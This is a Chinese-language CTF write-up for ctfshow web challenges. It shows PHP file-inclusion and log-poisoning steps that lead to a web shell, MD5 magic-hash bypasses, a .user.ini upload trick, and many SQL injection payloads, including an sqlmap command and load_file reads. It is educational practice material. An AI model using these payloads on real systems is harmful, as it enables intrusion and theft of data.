声明:
本文章只适用于网络安全交流与学习,请读者遵循网络安全法,若读者从事一些与网络安全不相关的事情,结果均与本人无关!!!
是ctfshow的web题:https://www.ctf.show/
web3:
开局提示使用php include get url include()函数是通过get请求来接受一个url参数,所以我们可以传递一个url参数
- 使用php将系统代码ls传入进去
- 使用php伪协议 可以利用文件包含漏洞
- 当前目录下面有一个ctf_go_go_go的文件
利用文件包含漏洞,去访问ctf_go_go_go 找到了flag值
- php中的文件包含的常见的函数有以下4种:
- require():找不到被包含的文件会产生致命的错误,并且停止脚本运行
- include():找不到被包含的文件只会产生警告,脚本继续执行
- require_once():与require()类似,唯一的区别就是如果该文件已经被包含,则不会被再次包含
- include_once():与include()类似唯一的区别就是如果该文件已经被包含,则不会被再次包含
注意:
- include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
强调:
这里重点是使用了一个PHP伪协议,使用input读取 直接在get请求后面输入要执行的命令即可
当enctype=”multipart/form-data” 的时候 php://input 是无效的
当input输入无效的时候,可以使用filter
- 例如:
php://filter/read=convert.base64-encode/resource=index.php 使用base64加密,将index.php的文件读取出来 这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。 php://filter/resource=index.php 筛选过滤的数据流:index.php
WEB4
同理:
存在一个文件包含,还是使用php伪协议 input执行系统命令
但是这里出来400 并没有成功,可能是后端对input函数做了限制
相应头是nginx服务器,所以可以读区nginx的日志文件
?url=/var/log/nginx/access.log
我们可以直接用php来输入命令来看日志变化情况
这里日志会不断的变化,我们可以在ua头写入一句话,getshell即可
强调:
这里将input协议进行了过滤可以通过nginx的日志来利用,可以写入一句话,通过一句话getshell,也可以使用php调用系统命令找到flag的路径去查看
web5
注意:
- ctype_alpha()这个函数用于检测输入的字符串中是否包含字母,是则返回true,不是则返回flase
- is_numeric()函数用于检测变量是否为数字或者数字字符串,是这返回true,否这返回flase
经过代码审计得到,需要用get请求传入v1和v2两个参数.并且v1只能是字母 、v2只能是数字或者数字字符串 并且两个的md5还必须相等
- md5是一种信息摘要算法,一种被广泛使用的密码散列函数,可以产生出一个128位(16字节)的散列值,用来确保信息传输完整一致性。
- 所以不管使用什么算法得到的md5值都是固定的128位
php在处理字符串时会把每一个以“0E”开头的哈希值都解释为0 所以确保v1 v2 输入的两个hash值都是0e开头都能解释为0 而满足条件
v1=QNKCDZO v2=240610708 所以使用这两个就可以,将其构造成get请求传入即可
强调:
重点在于代码审计,然后需要利用md5的加密机制0E开头的md5会被默认识别位为0 则满足if语句,所以执行生成flag值
web6:
注意:
- 先来测试是否有注入:
- 爆了一个注入错误
- 那就是做了一些过滤,将空格改成/**/试一下
'/**/or/**/1=1/**/# 这里用万能密码测试发现可以出来 这里找到了注入点
可以直接sqlmap一把梭
sqlmap --data="username=1&password=1" -p "username" --tamper="space2comment.py" -u https://c6b2267a-70dd-4fb8-91f9-ae5e31bcef5c.challenge.ctf.show/ --dump #--data即用post方式 -p 用来指定要测试的参数 --tamper可以指定使用的脚本 space2comment.py tamper调用space2comment.py脚本的时候SQLMAP检测目标时使用的payload中空格会被替换成/**/. --dump是获取所有内容
这里使用sqlmpa直接就拿下
我们可以手动来测试一下,使用手工注入来找flag值 测试列数
'/**/or/**/1=1/**/order/**/by/**/1#
'/**/or/**/1=1/**/order/**/by/**/2#
'/**/or/**/1=1/**/order/**/by/**/3#
'/**/or/**/1=1/**/order/**/by/**/4# #这里第四个字段是没有参数的,所以一共就只有3列了
找到列数3列开始找回显位置
‘/**/or/**/1=1'/**/union/**/select/**/1,2,3/**/#
查找数据库名 数据表和字段:
‘/**/or/**/1=1'/**/union/**/select/**/1,database(),3/**/# #这里确认数据库名称为web2
'/**/or/**/1=1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'/**/# #来确定web库中存在的表 #通过查询information_schema.tables,可以获取当前数据库中所有表的详细信息 #确定了数据库中的表有 user flag等
'/**/or/**/1=1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema='web2'/**/and/**/table_name='flag'/**/# #information_schema.column,可以获取当前数据库中指定的数据表中的字段 #确定了web2库中flag表中的字段有flag
'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/web2.flag/**/# #查询web2库中flag表中的falg字段中的内容
'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag/**/# #两个命令都可以使用 因为目前是web2的数据库所以不用指定数据库名称,如果要查询别的数据库中的表中的字段的内容,这需要指定数据库的名称
强调:
主要是sql inject的利用,找到注入点以后采用sql语句进行即可,需要将空格转换为/**/
web7:
注意:
看到三个目录,点开以后id分别为1,2,3
这里判断注入点
这里就是同理了,将空格做了过滤,使用/**/绕过空格即可
使用sql语句即可找到
10/**/union/**/select/**/1,(select/**/flag/**/from/**/web7.flag),(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag")
整体思路同上
强调:
要注意将空格做了过滤,需要使用/**/来绕过,可以先写sql语句然后再将空格全部换成/**/即可
web8 9
注意:
8是一个盲注 过滤了很多东西,需要用python写一个脚本,手注太复杂,费时费力,由于代码基础较弱所以没办法写一个教程
9 找了很多办法,是md5绕过,整个过程不是很懂,就不出教程了!
web10:
注意:
点击取消以后
有一个php的文件可以下载
这里是后端源代码
这里分析得到,对select where等进行了过滤,所以不能使用使用这些
分析源码我们得到,先根据用户名查询用户的信息,如果用户名称通过才会对密码进行判断,所以可以直接绕过用户名的过滤条件
'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/# #使用这个即可
#当我们使用with rollup之后会在查询结果中添加一个额外的行,结果显示总计值 由于with rollup不会对froup 指定的password列进行求和统计所以这里会在最后一行返回的password的值为null,这里我们也不输入密码,所以就导致查询的密码null=null 从而登录成功
强调:
重点设计了一个with rollup的使用,利用这可以达到绕过的目的
web11:
注意:
打开以后代码审计发现,这里将sql语句过滤了,所以这里不能使用注入,但是有一个if语句,如果密码的值与session值做对比
- 这里就可以利用session和密码都是空进入
- 直接食用空密码然后登陆即可得到flag
强调:
这里就是做了一个session验证
- 在php中,通过$_SESSION全局数组来获取和设置session,首先调用session_start()来启动session
- session是用户首次访问网站的时候,服务器生成的一个唯一的绘画标识,存储在用户的cookie中,每次访问的时候,浏览器都会自动将这个cookie发送到服务器端并且如果关闭了浏览器cookie中的session值也会被清除
web12
注意:
前端代码中提示使用?cmd
- 使用phpinfo();后段代码会当作php代码执行,所以这里可以代码执行
这里可以看到nginx的日志文件
可以使用burp在ua头中注入一句话
- 用中国蚁剑上线成功
- 可是这里没有权限
- 可以使用蚁剑的插件来绕过disable_function(这里可以使用蚁剑自带的插件市场下载,但是这里好像需要科学上网,如果师傅们这里下载不了可以去github找找方法)
- 成功拿下
强调:
当可以用命令去执行php代码的时候,可以考虑考虑显示日志文件 然后利用日志来执行php恶意代码从而getshell
web13:
注意:
这里很明显就是文件上传漏洞了
- 目录扫描找到了.bak的备份文件
这里写到了绕过规则
- 文件大小要小于24个字节
- 名字要少于9个字节
- 后缀名要小于3个字节并且如果后缀名中有php就会过滤
- 这里可以先传入.usr.ini文件,然后在传入一个xx.txt文件,让它解析php语句即可
- .usr.ini中写入:auto_append_file=xx.txt(会直接执行txt中的php语句)
在.usr.ini中设置了文件名,就会在任意一个页面中将该文件包含进去
- xx.txt文件中用get传入一个一句话
然后使用一句话传参使用print_r(glob(‘*’)); 打印出所有的内容
然后使用highlight_file()函数将php代码显示到当前页面
强调:
这里注意合理使用文件上传的漏洞,当存在过滤的时候可以利用文件包含的漏洞配合文件上传使用,传入一个非php的文件,利用文件包含漏洞,来解析php代码
web14
注意:
看到让我们使用get请求用c去传入参数,这里给了一个switch语句,当我们输入3的时候会跳出switch循环执行highlight_file这个函数
找到了一个文件,我们可以去访问看一下
一个登录框而且是使用query来传参
尝试注入
- query=1,弹窗出一个admin
- 更改query=2,弹窗一个gtf1y
- 提交query=2-1,弹出admin
-1/**/union/**/select/**/1/**/#
-1/**/union/**/select/**/1,2/**/#
这里只有能回显1位,并且第二个回显为空
这里知道了有1个回显
利用这个回显来查询数据库名称和数据表以及字段
-1/**/union/**/select/**/database()/**/# #得到数据库名称是web
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web'/**/# #但是这里并没有查询到结果
原来是这里对infomation_mation.table和information.cloumns 进行了过滤
可以使用``过滤(这是我找的一个师傅的解决办法,这里应该也可以使用别的方法,各位师傅们可以试试)
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'/**/# #得到表名为content
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'/**/# #字段为id username password
-1/**/union/**/select/**/group_concat(id,'~',username,'~',password)/**/from/**/content/**/#
这里字段内容说到有一个secret
开始代码中写到了include secret.php 这里就是提示我们使用secret.php这个文件
但是这里并没有我们想要的结果而且源码中也没有
所以这里include这个参数给我们提示,我们可以去利用select语句去看secret.php这个文件
一般web服务的目录文件是/var/www/html 所以我们可以直接去load_file
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')/**/#
这里原来页面是没什么变化,可是源码中有了新的变化
提示我们flag路径是/real_flag_is_here
-1/**/union/**/select/**/load_file('/real_flag_is_here')/**/#
这里我们就找到了ctf,它是存放在源码中的
强调:
要代码审计找到漏洞点,还要多去查看源码中的内容,往往有时候源码中的内容是比较重要的一部分
结语:
出一个web系列的ctf,供各位师傅们借鉴参考!!